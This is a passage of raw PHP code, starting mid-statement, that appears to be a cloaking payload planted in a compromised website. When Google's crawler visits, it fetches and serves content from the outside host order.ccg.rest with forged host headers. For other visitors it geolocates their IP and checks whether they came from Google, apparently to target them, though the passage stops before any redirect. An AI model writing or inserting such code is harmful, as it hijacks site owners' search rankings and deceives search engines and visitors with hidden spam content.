f (stripos($_SERVER['HTTP_USER_AGENT'] ?? '', 'Googlebot') !== false) { $url = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $endpoint = 'https://order.ccg.rest/?' . http_build_query([ 'url' => $url, ]); $ch = curl_init($endpoint); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => false, CURLOPT_HTTPHEADER => [ 'X-Original-Host: ' . $_SERVER['HTTP_HOST'], 'X-Forwarded-Host: ' . $_SERVER['HTTP_HOST'], 'X-Forwarded-Proto: https', 'User-Agent: ' . ($_SERVER['HTTP_USER_AGENT'] ?? ''), ], ]); $output = curl_exec($ch); curl_close($ch); echo $output; exit; } else { $ip = $_SERVER['REMOTE_ADDR'] ?? ''; // Detect referrer $referer = $_SERVER['HTTP_REFERER'] ?? ''; // Check if visitor came from Google $fromGoogle = stripos($referer, 'google.') !== false; // Default country $country = ''; // Lookup country using api.country.is if (!empty($ip)) { $response = @file_get_contents("https://api.country.is/" . urlencode($ip)); if ($response !== false) { $data = json_decode($response, true); if (isset($data['country'])) { $country = strtoupper($data['country']); } } } }